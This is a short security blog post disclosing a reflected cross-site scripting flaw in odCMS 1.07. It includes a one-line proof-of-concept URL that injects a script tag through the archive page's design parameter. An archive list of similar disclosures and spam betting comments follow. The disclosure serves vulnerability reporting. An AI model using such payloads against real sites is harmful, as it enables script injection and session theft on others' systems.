An XSS vulnerability in odCMS 1.07 can be exploited to
execute arbitrary JavaScript.
PoC
http://localhost/odcms/codes/archive.php?design=%3Cscript%3Ealert(0)%3C/script%3E
Monday, July 5, 2010
Subscribe to:
Post Comments (Atom)
skip to main |
skip to sidebar
And Other Web Related Deception
This site is soon to be deprecated by http://www.johnleitch.net
About Me
Blog Archive
-
▼
2010
(71)
-
▼
July
(28)
- CMS Made Simple 1.8 Download Manager 1.4.1 Module ...
- CMS Made Simple 1.8 Antz Toolkit 1.02 Module Arbit...
- CMS Made Simple 1.8 Local File Inclusion
- Orbis 1.0.2 Authentication Bypass
- PyroCMS 0.9.9.1 Cross-site Request Forgery
- LifeType 1.2.10 Cross-site Request Forgery
- Globber 1.4 Cross-site Request Forgery
- InterPhoto 2.3.0 Cross-site Request Forgery
- chillyCMS 1.1.3 Cross-site Request Forgery
- ImpressCMS 1.2.1 Final Reflected Cross-site Scripting
- RunCMS 2.1 Magpie RSS Module Reflected Cross-site ...
- PeteWiki 0.6 Reflected XSS
- Lion Wiki 3.2.3 Reflected Cross-site Scripting
- NetworX 1.03 Arbitrary Upload
- nuBuilder 10.04.20 Local File Inclusion
- Lanius CMS 0.5.2 r1668 Cross-site Request Forgery
- Log1 CMS 2.0 Cross-site Request Forgery
- ATutor 2.0 Cross-site Request Forgery
- nuBuilder 10.04.20 Reflected XSS
- News Office 2.0.18 Reflected XSS
- Bit Weaver 2.7 Reflected XSS
- odCMS 1.07 Reflected XSS
- NetworX 1.0.3 Reflected XSS
- Orbis 1.0.2 Reflected XSS
- TomatoCart 1.0 Cross-site Request Forgery
- Bit Weaver 2.7 Local File Inclusion
- Wiki Web Help 0.2.7 Arbitrary Upload
- Wiki Web Help 0.2.7 Persistent/Reflected XSS
-
▼
July
(28)
Blog Catalog
Blogflux
Blogged
SBOBET - Global leader in Asian Handicap sports betting. Best odds in Sportsbook, Soccer Betting, Casino, Games and Horse Racing แทงบอล
ReplyDeleteholiday
ReplyDeletegclub